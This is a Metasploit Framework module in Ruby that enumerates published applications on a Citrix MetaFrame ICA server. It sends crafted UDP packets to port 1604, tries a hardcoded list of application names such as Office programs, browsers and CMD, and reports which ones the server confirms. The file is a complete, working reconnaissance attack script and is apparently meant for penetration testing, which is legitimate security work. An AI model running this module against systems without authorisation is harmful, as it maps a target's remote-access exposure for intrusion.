metasploit-framework/modules/auxiliary/gather/citrix_published_bruteforce.rb

186 lines
4.2 KiB
Ruby

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::Udp
def initialize(info = {})
super(update_info(info,
'Name' => 'Citrix MetaFrame ICA Published Applications Bruteforcer',
'Description' => %q{
This module attempts to brute force program names within the Citrix
Metaframe ICA server.
},
'Author' => [ 'patrick' ],
'References' =>
[
[ 'OSVDB', '50617' ],
[ 'BID', '5817' ]
]
))
register_options(
[
Opt::RPORT(1604),
], self.class)
end
def autofilter
false
end
def run
connect_udp
print_status("Attempting to contact Citrix ICA service...")
# Client NetBIOS hostname. This works fine >:)
client = Rex::Text.rand_text_alphanumeric(8)
# Server hello packet
client_connect =
"\x1e\x00\x01\x30\x02\xfd\xa8\xe3\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
# Server hello response
server_response =
"\x30\x00\x02\x31\x02\xfd\xa8\xe3\x02\x00\x06\x44"
applications = [
'TEST',
'NOTEPAD',
'ACROBAT READER',
'ACROBAR',
'EXPLORER',
'WORD',
'WORD2K',
'WORDXP',
'WORD2K3',
'WORD2K7',
'WORD 2000',
'WORD XP',
'WORD 2003',
'WORD 2007',
'WORD2000',
'WORD2003',
'WORD2007',
'EXCEL',
'EXCEL2K',
'EXCELXP',
'EXCEL2K3',
'EXCEL2K7',
'EXCEL 2000',
'EXCEL XP',
'EXCEL 2003',
'EXCEL 2007',
'EXCEL2000',
'EXCEL2003',
'EXCEL2007',
'ACCESS',
'ACCESS2K',
'ACCESSXP',
'ACCESS2K3',
'ACCESS2K7',
'ACCESS 2000',
'ACCESS XP',
'ACCESS 2003',
'ACCESS 2007',
'ACCESS2000',
'ACCESS2003',
'ACCESS2007',
'POWERPOINT',
'POWERPOINT2K',
'POWERPOINTXP',
'POWERPOINT2K3',
'POWERPOINT2K7',
'POWERPOINT 2000',
'POWERPOINT XP',
'POWERPOINT 2003',
'POWERPOINT 2007',
'POWERPOINT2000',
'POWERPOINT2003',
'POWERPOINT2007',
'OUTLOOK',
'OUTLOOKXP',
'OUTLOOK2K',
'OUTLOOK2K3',
'OUTLOOK2K7',
'OUTLOOK 2000',
'OUTLOOK XP',
'OUTLOOK 2003',
'OUTLOOK 2007',
'OUTLOOK2000',
'OUTLOOK2003',
'OUTLOOK2007',
'LOTUS',
'LOTUS NOTES',
'INTERNETEXPLORER',
'IE',
'IEXPLORER',
'FIREFOX',
'FIREFOX 3',
'NETSCAPE',
'NETSCAPE7',
'NETSCAPE6',
'MAIL',
'EMAIL',
'E-MAIL',
'INTERNET',
'CMD',
'COMMAND',
]
# Citrix is publishing this application
application_valid =
"\x3e\x00\x02\x35\x02\xfd\xa8\xe3\x02\x00\x06\x44"
# Application not found / published
application_invalid =
"\x20\x00\x01\x3a\x02\xfd\xa8\xe3\x02\x00\x06\x44"
udp_sock.put(client_connect)
res = udp_sock.get(3)
if (res[0,server_response.length] == server_response)
print_status("Citrix ICA Server Detected. Attempting to brute force Published Applications.")
applications.each do |application|
# Create the packet
packet = [52 + application.length].pack('C')
packet << "\x00\x02\x34\x02\xfd\xa8\xe3\x00\x00\x00\x00\x00\x00\x00\x00"
packet << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x26\x00\x02\x00"
packet << [39 + application.length].pack('C')
packet << "\x00\x00\x00\x00\x00"
packet << application
packet << "\x00\x01\x00\x04\x00"
packet << client
packet << "\x00"
udp_sock.put(packet)
res = udp_sock.get(3)
if (res[0,application_valid.length] == application_valid)
print_status("Found: #{application}")
end
if (res[0,application_invalid.length] == application_invalid)
print_error("NOT Found: #{application}")
end
end
else
print_error("Server did not respond.")
end
disconnect_udp
end
end